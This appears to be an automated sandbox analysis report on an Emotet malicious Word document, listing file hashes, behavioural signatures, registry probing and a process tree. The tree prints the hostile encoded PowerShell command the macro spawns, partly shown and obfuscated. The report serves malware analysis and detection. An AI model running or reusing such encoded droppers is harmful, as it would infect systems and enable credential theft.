Analysis
- max time kernel
135s - max time network
132s - platform
windows10_x64 - resource
win10 - submitted
16/10/2020, 09:15
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_2a97f357b0df776a71ea7e36f18b4492d7e1d2b406553fbccc3e658051b2304a_2020-10-16__091335724255._doc.doc
Resource
win7v200722
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
emotet_e1_2a97f357b0df776a71ea7e36f18b4492d7e1d2b406553fbccc3e658051b2304a_2020-10-16__091335724255._doc.doc
Resource
win10
0 signatures
0 seconds
General
- Target emotet_e1_2a97f357b0df776a71ea7e36f18b4492d7e1d2b406553fbccc3e658051b2304a_2020-10-16__091335724255._doc.doc
- Size 211KB
- Sample201016-vrzc582tn2
- SHA256 2a97f357b0df776a71ea7e36f18b4492d7e1d2b406553fbccc3e658051b2304a
- MD5 d5cb8bd0e25657041290d0cc43abeb42
- SHA1 0812e21f38cdcd627e5bca07d1cee3e4ac0cbabb
- SHA512 3ce63b90f73749712deb9d605513d40472ae37a861b35c0763e9ff8135c38643aa67585d09c20af1626b2b430628c2817b976d5c8918cee619423470b1755784
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1068 412 POwersheLL.exe 73 - Blacklisted process makes network request 1 IoCs
flow pid Process 21 1068 POwersheLL.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2728 WINWORD.EXE 2728 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1068 POwersheLL.exe 1068 POwersheLL.exe 1068 POwersheLL.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1068 POwersheLL.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 2728 WINWORD.EXE 2728 WINWORD.EXE 2728 WINWORD.EXE 2728 WINWORD.EXE 2728 WINWORD.EXE 2728 WINWORD.EXE 2728 WINWORD.EXE 2728 WINWORD.EXE 2728 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2a97f357b0df776a71ea7e36f18b4492d7e1d2b406553fbccc3e658051b2304a_2020-10-16__091335724255._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2728
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD 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KQArACcAaQAnACsAJwB0AG0AJwApADsAYgByAGUAYQBrADsAJABEAHkAMQAyAHgAOAB6AD0AKAAoACcAQgAnACsAJwA1AG4AJwApACsAKAAnAGgAJwArACcAXwAzACcAKQArACcANAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAMgBlAHMAcAB2AGgAPQAoACgAJwBVACcAKwAnAHMAdQAnACkAKwAnAHAAJwArACgAJwBkACcAKwAnADcAXwAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1068